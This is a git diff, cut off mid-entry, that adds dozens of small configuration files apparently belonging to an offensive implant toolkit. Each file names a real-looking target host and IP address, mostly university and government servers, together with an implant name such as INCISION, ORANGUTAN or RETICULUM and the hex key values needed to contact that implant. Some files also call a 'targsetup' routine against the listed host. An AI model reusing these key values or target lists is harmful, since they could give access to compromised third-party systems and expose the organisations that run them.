file mode 100644 index 0000000..3b8e188 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___smuc.smuc.ac.kr___203.237.176.1___20051026-101551() { + ## INCISION Version:4.10.2.16 OS:sparc-sun-solaris2.9 + export TARG_AYT="5ae19c18 3712bbc3 6c3da38e" +} diff --git a/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/jackladder b/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/jackladder new file mode 100644 index 0000000..8fa1f6d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___smuc.smuc.ac.kr___203.237.176.1___20051026-101551() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/orangutan b/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/orangutan new file mode 100644 index 0000000..c63349c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___smuc.smuc.ac.kr___203.237.176.1___20051026-101551() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="7570422a b8946281 5524d48a" +} diff --git a/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/patchicillin b/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/patchicillin new file mode 100644 index 0000000..29188f9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___smuc.smuc.ac.kr___203.237.176.1___20051026-101551() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="543fb5b5 cf50e064 70448fc5" +} diff --git a/Linux/bin/varkeys/pitchimpair/snacks.stacken.kth.se___130.237.234.152/incision b/Linux/bin/varkeys/pitchimpair/snacks.stacken.kth.se___130.237.234.152/incision new file mode 100644 index 0000000..f489a02 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/snacks.stacken.kth.se___130.237.234.152/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___snacks.stacken.kth.se___130.237.234.152___20040929-194106() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="4abd95ea 9c717544 8fc65152" +} diff --git a/Linux/bin/varkeys/pitchimpair/snacks.stacken.kth.se___130.237.234.152/orangutan b/Linux/bin/varkeys/pitchimpair/snacks.stacken.kth.se___130.237.234.152/orangutan new file mode 100644 index 0000000..4741572 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/snacks.stacken.kth.se___130.237.234.152/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___snacks.stacken.kth.se___130.237.234.152___20040929-194106() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="12036454 f966902e fe9f15b6" +} diff --git a/Linux/bin/varkeys/pitchimpair/snacks.stacken.kth.se___130.237.234.152/patchicillin b/Linux/bin/varkeys/pitchimpair/snacks.stacken.kth.se___130.237.234.152/patchicillin new file mode 100644 index 0000000..fb03658 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/snacks.stacken.kth.se___130.237.234.152/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___snacks.stacken.kth.se___130.237.234.152___20040929-194106() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="114d942f 0b3fd4cf a0306b96" +} diff --git a/Linux/bin/varkeys/pitchimpair/soldier.ee.nctu.edu.tw___140.113.212.31/dewdrop b/Linux/bin/varkeys/pitchimpair/soldier.ee.nctu.edu.tw___140.113.212.31/dewdrop new file mode 100644 index 0000000..4baca6d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/soldier.ee.nctu.edu.tw___140.113.212.31/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___soldier.ee.nctu.edu.tw___140.113.212.31___20060829-115158() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/soldier.ee.nctu.edu.tw___140.113.212.31/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/soldier.ee.nctu.edu.tw___140.113.212.31/stoicsurgeon new file mode 100644 index 0000000..f2ebcb2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/soldier.ee.nctu.edu.tw___140.113.212.31/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___soldier.ee.nctu.edu.tw___140.113.212.31___20060829-115158() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/son-goki.sun-ip.or.jp___150.27.1.11/incision b/Linux/bin/varkeys/pitchimpair/son-goki.sun-ip.or.jp___150.27.1.11/incision new file mode 100644 index 0000000..aa06ee6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/son-goki.sun-ip.or.jp___150.27.1.11/incision @@ -0,0 +1,5 @@ +PITCHIMPAIR___son-goki.sun-ip.or.jp___150.27.1.11___20020503-112843() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="c7ec86d5 483191b8 968549a2" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=0 +} diff --git a/Linux/bin/varkeys/pitchimpair/son-goki.sun-ip.or.jp___150.27.1.11/orangutan b/Linux/bin/varkeys/pitchimpair/son-goki.sun-ip.or.jp___150.27.1.11/orangutan new file mode 100644 index 0000000..0a3c0d2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/son-goki.sun-ip.or.jp___150.27.1.11/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___Son-Goki.sun-ip.or.jp___150.27.1.11___20020503-112843() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="a5666132 7318f33d 2fc5dd16" +} diff --git a/Linux/bin/varkeys/pitchimpair/son-goki.sun-ip.or.jp___150.27.1.11/reticulum b/Linux/bin/varkeys/pitchimpair/son-goki.sun-ip.or.jp___150.27.1.11/reticulum new file mode 100644 index 0000000..d490fd6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/son-goki.sun-ip.or.jp___150.27.1.11/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___Son-Goki.sun-ip.or.jp___150.27.1.11___20020503-112843() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host Son-Goki.sun-ip.or.jp + set ip 150.27.1.11 + set hostType "Solaris26" + set len 476 + set cv0 e4f95c71 + set cv1 ac5eafb8 + set cv2 e1fa9cca + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/sparc20mc.ing.unirc.it___192.167.50.12/incision b/Linux/bin/varkeys/pitchimpair/sparc20mc.ing.unirc.it___192.167.50.12/incision new file mode 100644 index 0000000..20b30c0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sparc20mc.ing.unirc.it___192.167.50.12/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___sparc20mc.ing.unirc.it___192.167.50.12___20030728-162858() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="3cbe3269 72239859 87c08d89" +} diff --git a/Linux/bin/varkeys/pitchimpair/sparc20mc.ing.unirc.it___192.167.50.12/orangutan b/Linux/bin/varkeys/pitchimpair/sparc20mc.ing.unirc.it___192.167.50.12/orangutan new file mode 100644 index 0000000..ca9993e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sparc20mc.ing.unirc.it___192.167.50.12/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___sparc20mc.ing.unirc.it___192.167.50.12___20030728-162858() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="52496899 7997bab8 953ca69b" +} diff --git a/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/dewdrop b/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/dewdrop new file mode 100644 index 0000000..d1b9e1f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___spin.lzu.edu.cn___202.201.0.131___20060329-121203() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/incision b/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/incision new file mode 100644 index 0000000..a2094c2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___spin.lzu.edu.cn___202.201.0.131___20060329-121203() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="319e4fff d73ca482 505203d0" +} diff --git a/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/jackladder b/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/jackladder new file mode 100644 index 0000000..a705407 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___spin.lzu.edu.cn___202.201.0.131___20060329-121203() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/orangutan b/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/orangutan new file mode 100644 index 0000000..24cef9b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___spin.lzu.edu.cn___202.201.0.131___20060329-121203() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="4f89afca e62e8f92 5d7b7bfd" +} diff --git a/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/patchicillin b/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/patchicillin new file mode 100644 index 0000000..87fc291 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/spin.lzu.edu.cn___202.201.0.131/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___spin.lzu.edu.cn___202.201.0.131___20060329-121203() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="ab85dcbe 195dd04f e1b477e7" +} diff --git a/Linux/bin/varkeys/pitchimpair/spirit.das2.ru___81.94.47.83/incision b/Linux/bin/varkeys/pitchimpair/spirit.das2.ru___81.94.47.83/incision new file mode 100644 index 0000000..4c3847c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/spirit.das2.ru___81.94.47.83/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___Spirit.das2.ru___81.94.47.83___20050314-174949() { + ## INCISION Version:4.9.1 OS:i386-pc-solaris2.8 + export TARG_AYT="e7b1cc4b e322deb3 dc090a11" +} diff --git a/Linux/bin/varkeys/pitchimpair/spirit.das2.ru___81.94.47.83/orangutan b/Linux/bin/varkeys/pitchimpair/spirit.das2.ru___81.94.47.83/orangutan new file mode 100644 index 0000000..066755f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/spirit.das2.ru___81.94.47.83/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___Spirit.das2.ru___81.94.47.83___20050314-174949() { + ## ORANGUTAN Version:1.6.1 OS:i386-pc-solaris2.8 + export CONFIG_KEYS="f2e041d5 b7558719 e8cf8c34" +} diff --git a/Linux/bin/varkeys/pitchimpair/spirit.das2.ru___81.94.47.83/patchicillin b/Linux/bin/varkeys/pitchimpair/spirit.das2.ru___81.94.47.83/patchicillin new file mode 100644 index 0000000..46b17e0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/spirit.das2.ru___81.94.47.83/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___Spirit.das2.ru___81.94.47.83___20050314-174949() { + ## PATCHICILLIN Version:1.1.1.0 OS:i386-pc-solaris2.8 + export CV="8f5bc235 bedd09d3 7765a909" +} diff --git a/Linux/bin/varkeys/pitchimpair/splash-atm.upc.es___147.83.2.116/incision b/Linux/bin/varkeys/pitchimpair/splash-atm.upc.es___147.83.2.116/incision new file mode 100644 index 0000000..c50cb4b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/splash-atm.upc.es___147.83.2.116/incision @@ -0,0 +1,5 @@ +PITCHIMPAIR___splash-atm.upc.es___147.83.2.116___20020214-223010() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="5350ff15 689693ae ec1946b9" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-60 +} diff --git a/Linux/bin/varkeys/pitchimpair/splash-atm.upc.es___147.83.2.116/orangutan b/Linux/bin/varkeys/pitchimpair/splash-atm.upc.es___147.83.2.116/orangutan new file mode 100644 index 0000000..9499ccb --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/splash-atm.upc.es___147.83.2.116/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___splash-atm.upc.es___147.83.2.116___20020214-223010() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="1795fbb2 ed9ae74e 3e1d1190" +} diff --git a/Linux/bin/varkeys/pitchimpair/splash-atm.upc.es___147.83.2.116/reticulum b/Linux/bin/varkeys/pitchimpair/splash-atm.upc.es___147.83.2.116/reticulum new file mode 100644 index 0000000..4cb2bdc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/splash-atm.upc.es___147.83.2.116/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___splash-atm.upc.es___147.83.2.116___20020214-223010() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host splash-atm.upc.es + set ip 147.83.2.116 + set hostType "Solaris26" + set len 476 + set cv0 7b02a14b + set cv1 d16b9a96 + set cv2 adebabc3 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/sun.bq.ub.es___161.116.154.1/incision b/Linux/bin/varkeys/pitchimpair/sun.bq.ub.es___161.116.154.1/incision new file mode 100644 index 0000000..abd96b7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sun.bq.ub.es___161.116.154.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___sun.bq.ub.es___161.116.154.1___20020523-221508() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.7 + export TARG_AYT="9bcd984f 684c80d3 8f88ff47" +} diff --git a/Linux/bin/varkeys/pitchimpair/sun.bq.ub.es___161.116.154.1/orangutan b/Linux/bin/varkeys/pitchimpair/sun.bq.ub.es___161.116.154.1/orangutan new file mode 100644 index 0000000..fd3f787 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sun.bq.ub.es___161.116.154.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___sun.bq.ub.es___161.116.154.1___20020523-221508() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="fb98fa62 93ed1bd2 61809a2c" +} diff --git a/Linux/bin/varkeys/pitchimpair/sun.bq.ub.es___161.116.154.1/reticulum b/Linux/bin/varkeys/pitchimpair/sun.bq.ub.es___161.116.154.1/reticulum new file mode 100644 index 0000000..31310e0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sun.bq.ub.es___161.116.154.1/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___sun.bq.ub.es___161.116.154.1___20020523-221041() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host sun.bq.ub.es + set ip 161.116.154.1 + set hostType "Solaris27" + set len 476 + set cv0 7ffaca68 + set cv1 63f9c601 + set cv2 db987512 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/sunbath.rrze.uni--erlangen.de___131.188.3.200/orangutan b/Linux/bin/varkeys/pitchimpair/sunbath.rrze.uni--erlangen.de___131.188.3.200/orangutan new file mode 100644 index 0000000..f6a1919 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sunbath.rrze.uni--erlangen.de___131.188.3.200/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___sunbath.rrze.uni-erlangen.de___131.188.3.200___20050309-182517() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="154a5e8b 22ce98bf 6451e2ea" +} diff --git a/Linux/bin/varkeys/pitchimpair/sunbath.rrze.uni-erlangen.de___131.188.3.200/incision b/Linux/bin/varkeys/pitchimpair/sunbath.rrze.uni-erlangen.de___131.188.3.200/incision new file mode 100644 index 0000000..37cb87e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sunbath.rrze.uni-erlangen.de___131.188.3.200/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___sunbath.rrze.uni-erlangen.de___131.188.3.200___20050309-182517() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="e8c27050 b174b79a e9251c76" +} diff --git a/Linux/bin/varkeys/pitchimpair/sunbath.rrze.uni-erlangen.de___131.188.3.200/patchicillin b/Linux/bin/varkeys/pitchimpair/sunbath.rrze.uni-erlangen.de___131.188.3.200/patchicillin new file mode 100644 index 0000000..a56f10c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sunbath.rrze.uni-erlangen.de___131.188.3.200/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___sunbath.rrze.uni-erlangen.de___131.188.3.200___20050309-182517() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="7eb38837 3f4a4f16 b8bf1fcb" +} diff --git a/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/dewdrop b/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/dewdrop new file mode 100644 index 0000000..50274ef --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___sunfirev250.cancilleria.gob.ni___165.98.181.5___20070323-083334() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/incision b/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/incision new file mode 100644 index 0000000..4d4fb85 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___sunfirev250.cancilleria.gob.ni___165.98.181.5___20070323-083334() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="fce700a8 1ce9df01 aa2e1457" +} diff --git a/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/jackladder b/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/jackladder new file mode 100644 index 0000000..466f8fb --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___sunfirev250.cancilleria.gob.ni___165.98.181.5___20070323-083334() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/orangutan b/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/orangutan new file mode 100644 index 0000000..bb77a88 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___sunfirev250.cancilleria.gob.ni___165.98.181.5___20070323-083334() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="e3459497 d0d212c2 1ac3733f" +} diff --git a/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/patchicillin b/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/patchicillin new file mode 100644 index 0000000..041a98e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sunfirev250.cancilleria.gob.ni___165.98.181.5/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___sunfirev250.cancilleria.gob.ni___165.98.181.5___20070323-083334() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="b535b8eb aa15f89b 958b4db0" +} diff --git a/Linux/bin/varkeys/pitchimpair/sunl.scl.kyoto-u.ac.jp___133.3.5.30/dewdrop b/Linux/bin/varkeys/pitchimpair/sunl.scl.kyoto-u.ac.jp___133.3.5.30/dewdrop new file mode 100644 index 0000000..05f1d2c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sunl.scl.kyoto-u.ac.jp___133.3.5.30/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___sunl.scl.kyoto-u.ac.jp___133.3.5.30___20061205-113451() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/sunl.scl.kyoto-u.ac.jp___133.3.5.30/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/sunl.scl.kyoto-u.ac.jp___133.3.5.30/stoicsurgeon new file mode 100644 index 0000000..4e35f48 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sunl.scl.kyoto-u.ac.jp___133.3.5.30/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___sunl.scl.kyoto-u.ac.jp___133.3.5.30___20061205-113451() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/dewdrop b/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/dewdrop new file mode 100644 index 0000000..853c42a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___tamarugo.cec.uchile.cl___200.9.97.3___20061208-070727() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/incision b/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/incision new file mode 100644 index 0000000..3ddf140 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___tamarugo.cec.uchile.cl___200.9.97.3___20061208-070727() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="9cd50ff4 e8be0042 b79a82e9" +} diff --git a/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/jackladder b/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/jackladder new file mode 100644 index 0000000..8705ca0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___tamarugo.cec.uchile.cl___200.9.97.3___20061208-070727() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/orangutan b/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/orangutan new file mode 100644 index 0000000..3637502 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___tamarugo.cec.uchile.cl___200.9.97.3___20061208-070727() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="3b7dadb4 67d12956 13d554a0" +} diff --git a/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/patchicillin b/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/patchicillin new file mode 100644 index 0000000..daabe38 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tamarugo.cec.uchile.cl___200.9.97.3/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___tamarugo.cec.uchile.cl___200.9.97.3___20061208-070727() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="e87e6b24 923800bc cffbf06f" +} diff --git a/Linux/bin/varkeys/pitchimpair/tayuman.info.com.ph___203.172.11.21/incision b/Linux/bin/varkeys/pitchimpair/tayuman.info.com.ph___203.172.11.21/incision new file mode 100644 index 0000000..080dff6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tayuman.info.com.ph___203.172.11.21/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___tayuman.info.com.ph___203.172.11.21___20031027-173055() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="930e7947 b53525b6 631e4330" +} diff --git a/Linux/bin/varkeys/pitchimpair/tayuman.info.com.ph___203.172.11.21/orangutan b/Linux/bin/varkeys/pitchimpair/tayuman.info.com.ph___203.172.11.21/orangutan new file mode 100644 index 0000000..809a0a9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tayuman.info.com.ph___203.172.11.21/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___tayuman.info.com.ph___203.172.11.21___20031027-173055() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="d8a835b3 953e0f49 4e655dcd" +} diff --git a/Linux/bin/varkeys/pitchimpair/theta.uoks.uj.edu.pl___149.156.89.30/incision b/Linux/bin/varkeys/pitchimpair/theta.uoks.uj.edu.pl___149.156.89.30/incision new file mode 100644 index 0000000..01a4596 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/theta.uoks.uj.edu.pl___149.156.89.30/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___theta.uoks.uj.edu.pl___149.156.89.30___20050705-175454() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="013d06f7 fcceea49 2d2693ad" +} diff --git a/Linux/bin/varkeys/pitchimpair/theta.uoks.uj.edu.pl___149.156.89.30/orangutan b/Linux/bin/varkeys/pitchimpair/theta.uoks.uj.edu.pl___149.156.89.30/orangutan new file mode 100644 index 0000000..0966f3f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/theta.uoks.uj.edu.pl___149.156.89.30/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___theta.uoks.uj.edu.pl___149.156.89.30___20050705-175454() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="76a9686d f81d2b7c b3210adf" +} diff --git a/Linux/bin/varkeys/pitchimpair/theta.uoks.uj.edu.pl___149.156.89.30/patchicillin b/Linux/bin/varkeys/pitchimpair/theta.uoks.uj.edu.pl___149.156.89.30/patchicillin new file mode 100644 index 0000000..f08c788 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/theta.uoks.uj.edu.pl___149.156.89.30/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___theta.uoks.uj.edu.pl___149.156.89.30___20050705-175454() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="80ccd247 485cef36 f7061254" +} diff --git a/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/dewdrop b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/dewdrop new file mode 100644 index 0000000..77daceb --- /dev/null +++ 